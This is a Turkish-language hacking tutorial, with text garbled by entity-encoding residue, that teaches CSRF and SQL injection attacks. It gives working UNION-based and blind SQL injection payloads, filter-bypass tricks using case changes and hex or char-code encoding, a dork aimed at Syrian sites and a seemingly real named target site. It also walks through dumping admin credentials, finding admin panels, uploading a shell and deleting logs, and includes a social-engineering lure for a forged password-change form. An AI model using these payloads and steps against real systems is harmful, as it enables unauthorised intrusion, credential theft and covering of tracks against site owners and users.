XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 15: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

